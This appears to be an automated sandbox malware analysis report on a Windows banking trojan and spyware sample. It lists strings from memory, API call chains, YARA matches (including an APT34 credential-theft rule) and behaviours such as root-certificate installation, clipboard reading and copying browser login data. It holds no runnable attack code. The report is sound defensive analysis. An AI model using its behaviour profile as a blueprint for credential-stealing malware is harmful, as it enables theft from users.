Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/icon-announcement.svg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/icon-file-download.svg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/mac-ico.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/thank-you/thankyou-animation.json
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/js/installer.min.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/js/main.v2.min.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000003.262688251.0000000003F57000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/cloudprint
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://www.google.com/cloudprint/enab
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262688251.0000000003F57000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/cloudprint/enable_chrome_connector
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/cloudprint/enable_chrome_connectorHN
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284978493.000000000072F000.00000004.00000001.sdmp, Web Data1612045902911.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com;
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.googleadservices.com/pagead/conversion.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.googleadservices.com/pagead/conversion_async.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.googleadservices.com/pagead/p3p.xml
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://www.googleapis.com/
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://www.googleapis.com/auth/calend
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/calendar.readonly
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/cast-edu-messaging
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262789067.0000000003F2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonlyourc
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstoreU
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstoreh
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/clouddevices
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://www.googleapis.com/auth/h
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://www.googleapis.com/auth/hangouts
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/hangouts.readonly
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/hangoutsrx
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://www.googleapis.com/auth/meetings
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/meetingsrx
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleapi.readwri
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleapi.readwrite
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleapi.readwriteu
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierraM
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000003.262789067.0000000003F2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-26908291-4
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=GTM-PZ6TRJB
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/autotrack/autotrack.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/lottie/lottie.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/modernizr/modernizr.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/ScrollMagic.min.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/animation.gsap.min.js
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com;
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/accept:
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/accounts/login/ajax/facebook/
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/graphql/query/?query_hash=149bef52a3b2af88c0fec37913fe1cbc&variables=%7B%2
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/sec-fetch-site:
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.comsec-fetch-mode:
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/accept:
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/login/nonce/
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/origin:
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.comhttps://www.messenger.com/login/nonce/ookie:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality for read data from the clipboard

Source: C:\Users\user\AppData\Roaming\1612045890161.exe

Code function: 11_2_0040AE4D OpenClipboard,

11_2_0040AE4D

E-Banking Fraud:

Registers a new ROOT certificate

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_1001F720 CryptStringToBinaryA,CryptStringToBinaryA,CertCreateCertificateContext,CertOpenStore,CertAddCertificateContextToStore,GetLastError,CertGetCertificateContextProperty,_memset,CertGetCertificateContextProperty,_memset,_memset,_sprintf,_sprintf,CertCloseStore,CertFreeCertificateContext,

0_2_1001F720

System Summary:

Malicious sample detected (through community Yara rule)

Source: 4.2.63C4F3D9EA0CC861.exe.3280000.6.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Author: unknown
Source: 3.2.63C4F3D9EA0CC861.exe.3380000.5.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Author: unknown

PE file has a writeable .text section

Source: fnhcdXEfus.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 63C4F3D9EA0CC861.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Contains functionality to call native functions

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10019D40 LoadLibraryA,GetProcAddress,GetCurrentThread,NtSetInformationThread,		0_2_10019D40
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10019F00 LoadLibraryA,GetProcAddress,GetCurrentProcess,NtQueryInformationProcess,		0_2_10019F00
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10019F50 LoadLibraryA,GetProcAddress,GetCurrentProcess,NtQueryInformationProcess,		0_2_10019F50
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10019FA0 LoadLibraryA,GetProcAddress,GetCurrentProcess,NtQueryInformationProcess,		0_2_10019FA0
Source: C:\Users\user\AppData\Roaming\1612045890161.exe	Code function: 11_2_0040C516 NtQuerySystemInformation,		11_2_0040C516
Source: C:\Users\user\AppData\Roaming\1612045890161.exe	Code function: 11_2_0040C6FB memset,CreateFileW,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,FreeLibrary,		11_2_0040C6FB

Contains functionality to communicate with device drivers

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_1001D560: wsprintfW,CreateFileW,_memset,DeviceIoControl,FindCloseChangeNotification,

0_2_1001D560

Contains functionality to shutdown / reboot the system

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_0045895B GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,

0_2_0045895B

Detected potential crypto function

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00445630		0_2_00445630
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_0045015C		0_2_0045015C
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_004506CC		0_2_004506CC
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00450C3C		0_2_00450C3C
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00409140		0_2_00409140
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00409580		0_2_00409580
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00445612		0_2_00445612
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00445620		0_2_00445620
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_004456C3		0_2_004456C3
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00409870		0_2_00409870
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00461A30		0_2_00461A30
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00451A3C		0_2_00451A3C
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00445BD3		0_2_00445BD3
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_0044E1E6		0_2_0044E1E6
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_004521B8		0_2_004521B8
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00422751		0_2_00422751
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00406A40		0_2_00406A40
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_0043ACD1		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_0044AD9A		0_2_0044AD9A
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00407162		0_2_00407162
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_004073B5		0_2_004073B5
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_0044B6B4		0_2_0044B6B4
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_100071F0		0_2_100071F0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10009257		0_2_10009257
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1000B3B0		0_2_1000B3B0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1000B883		0_2_1000B883
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_100099E0		0_2_100099E0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1000BC57		0_2_1000BC57
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1000FF71		0_2_1000FF71
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1000C063		0_2_1000C063
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_100060F0		0_2_100060F0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10008340		0_2_10008340
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1000E380		0_2_1000E380
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_100083F0		0_2_100083F0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1000C483		0_2_1000C483
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10010590		0_2_10010590
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_100169BD		0_2_100169BD
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10010AED		0_2_10010AED
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1000ABA0		0_2_1000ABA0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1001EBD0		0_2_1001EBD0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1001EDDB		0_2_1001EDDB
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1000C063		3_2_1000C063
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1000B883		3_2_1000B883
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_100060F0		3_2_100060F0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_100169BD		3_2_100169BD
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_100099E0		3_2_100099E0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_100071F0		3_2_100071F0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10009257		3_2_10009257
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10010AED		3_2_10010AED
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10008340		3_2_10008340
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1000E380		3_2_1000E380
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1000ABA0		3_2_1000ABA0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1000B3B0		3_2_1000B3B0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1001EBD0		3_2_1001EBD0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_100083F0		3_2_100083F0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1000BC57		3_2_1000BC57
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1000C483		3_2_1000C483
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10010590		3_2_10010590
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1001EDDB		3_2_1001EDDB
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1000FF71		3_2_1000FF71
Source: C:\Users\user\AppData\Roaming\1612045890161.exe	Code function: 11_2_00404BE4		11_2_00404BE4
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002B963B		30_2_002B963B
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002B6A1E		30_2_002B6A1E
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002BA0C3		30_2_002BA0C3
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002BB51C		30_2_002BB51C
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002B9B7F		30_2_002B9B7F
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002BA7BB		30_2_002BA7BB

Dropped file seen in connection with other malware

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe 344B323928698D9982C7577E5405A1CB587C45F94A0F6745827648381397F255

Found potential string decryption / allocating functions

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: String function: 10010534 appears 35 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 0044280F appears 302 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 004025E0 appears 342 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 10010534 appears 35 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 0040C6E1 appears 99 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 00411D8B appears 39 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 00442842 appears 295 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 00442878 appears 83 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 00441423 appears 42 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 004115CB appears 41 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 00401070 appears 36 times
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: String function: 00441570 appears 54 times

PE file contains strange resources

Source: fnhcdXEfus.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 63C4F3D9EA0CC861.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1612045890161.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1612045890161.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Sample file is different than original file name gathered from version info

Source: fnhcdXEfus.exe, 00000000.00000002.246163908.00000000024AA000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameInstallShield Setup.exe^ vs fnhcdXEfus.exe
Source: fnhcdXEfus.exe, 00000000.00000002.246034972.0000000000BA0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs fnhcdXEfus.exe
Source: fnhcdXEfus.exe, 00000000.00000002.246020495.0000000000B80000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dllj% vs fnhcdXEfus.exe
Source: fnhcdXEfus.exe, 00000000.00000002.246024794.0000000000B90000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dll.muij% vs fnhcdXEfus.exe
Source: fnhcdXEfus.exe	Binary or memory string: OriginalFilenameInstallShield Setup.exe^ vs fnhcdXEfus.exe

Tries to load missing DLLs

Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll			Jump to behavior

Uses 32bit PE files

Source: fnhcdXEfus.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Yara signature match

Source: 00000004.00000002.274583056.00000000026D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000003.00000002.365832214.00000000026F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000000.00000002.246525217.0000000002810000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 0.2.fnhcdXEfus.exe.2810000.5.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 3.2.63C4F3D9EA0CC861.exe.26f0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.63C4F3D9EA0CC861.exe.26d0000.5.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.63C4F3D9EA0CC861.exe.10000000.7.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 3.2.63C4F3D9EA0CC861.exe.10000000.7.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.63C4F3D9EA0CC861.exe.26d0000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 3.2.63C4F3D9EA0CC861.exe.26f0000.2.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 0.2.fnhcdXEfus.exe.10000000.6.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 0.2.fnhcdXEfus.exe.2810000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.63C4F3D9EA0CC861.exe.3280000.6.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Description = Detects the PICKPOCKET malware used by APT34, a browser credential-theft tool identified by FireEye in May 2018, Reference = https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html
Source: 3.2.63C4F3D9EA0CC861.exe.3380000.5.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Description = Detects the PICKPOCKET malware used by APT34, a browser credential-theft tool identified by FireEye in May 2018, Reference = https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html

Classification label

Source: classification engine

Classification label: mal90.bank.troj.spyw.evad.winEXE@32/37@4/2

Contains functionality to adjust token privileges (e.g. debug / backup)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_0045895B GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,

0_2_0045895B

Contains functionality to check free disk space

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_0043FFF7 lstrcpyW,GetDiskFreeSpaceExW,

0_2_0043FFF7

Contains functionality to enum processes or threads

Source: C:\Users\user\AppData\Roaming\1612045890161.exe

Code function: 11_2_0040CE93 CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

11_2_0040CE93

Contains functionality to instantiate COM classes

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_00431AAB CoCreateInstance,

0_2_00431AAB

Contains functionality to load and extract PE file embedded resources

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_00418579 FindResourceW,SizeofResource,LoadResource,LockResource,

0_2_00418579

Creates files inside the user directory

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe

File created: C:\Users\user\AppData\Local\Login Data1612045889505

Jump to behavior

Creates mutexes

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6336:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1968:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5752:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3924:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\exist_sign_task_Hello002
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\exist_sign_task_Hello001
